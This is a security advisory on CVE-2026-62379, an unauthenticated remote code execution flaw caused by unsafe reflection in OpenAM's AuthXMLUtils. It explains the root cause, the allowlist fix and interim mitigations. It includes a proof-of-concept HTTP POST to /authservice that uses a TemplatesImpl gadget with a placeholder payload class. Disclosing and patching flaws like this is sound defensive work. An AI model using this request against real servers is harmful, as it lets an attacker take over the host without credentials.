critical · 9.8CVE-2026-62379Jul 24, 2026

CVE-2026-62379: OpenAM Unauthenticated Remote Code Execution via Unsafe Reflection in AuthXMLUtils

Shubham Kandhare
Security Engagement Manager, SecureLayer7

OpenAM's pre-authentication XML endpoint lets any unauthenticated attacker name an arbitrary Java class in a request, which the server loads and runs, giving full control of the machine.

Packageorg.openidentityplatform.openam:openam-core
Ecosystemmaven
Affected<= 16.1.1
Fixed in16.1.2
CVE-2026-62379: OpenAM Unauthenticated Remote Code Execution via Unsafe Reflection in AuthXMLUtils

The problem

OpenAM's remote authentication endpoint (/authservice) speaks the PLL (Parameter List Language) XML protocol. The AuthXMLUtils.createCustomCallback method reads a class name directly from an XML attribute and passes it to Class.forName() followed by newInstance(), with no allowlist or validation.

Because /authservice is reachable before authentication, this is exploitable with zero credentials. Any attacker who can reach the port can instantiate any class on the server's classpath, including gadget chains that trigger OS command execution.

Proof of concept

A working proof-of-concept for CVE-2026-62379 in org.openidentityplatform.openam:openam-core, with the exact payload below.

http
POST /openam/authservice HTTP/1.1
Host: target:8080
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""

<?xml version="1.0" encoding="UTF-8"?>
<RequestSet vers="1.0" svcid="auth" reqid="0">
  <Request><![CDATA[
  <AuthContext version="1.0">
    <CallbackRequirements><![CDATA[
      <Callbacks length="1">
        <CustomCallback class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl">
          <Attribute name="_bytecodes">BASE64_ENCODED_PAYLOAD_CLASS</Attribute>
          <Attribute name="_name">foo</Attribute>
          <Attribute name="_tfactory"></Attribute>
          <Attribute name="_outputProperties"></Attribute>
        </CustomCallback>
      </Callbacks>
    ]]></CallbackRequirements>
  </AuthContext>
  ]]></Request>
</RequestSet>

The root cause is CWE-470 (Unsafe Reflection): createCustomCallback extracts the class attribute value from the XML element and calls Class.forName(className).newInstance() without checking the name against any allowlist. An attacker can supply any class reachable on the server classpath.

The patch (commit edcf968) introduces an explicit allowlist of permitted callback class names. Any class name not on the list is now rejected before Class.forName is ever called, breaking the reflection chain entirely.

Because the fix operates at the XML-parsing layer before any session is established, the pre-authentication attack surface is fully closed in 16.1.2.

The fix

Upgrade to openam-core 16.1.2. As an interim mitigation, enable sunRemoteAuthSecurityEnabled (requires a security token on every /authservice call) or block external network access to /authservice at the firewall/WAF layer until patching is possible.

Reported by Zhixi "Jace" Sun (ASM/VI, TikTok).

References: [1][2][3][4]

Related research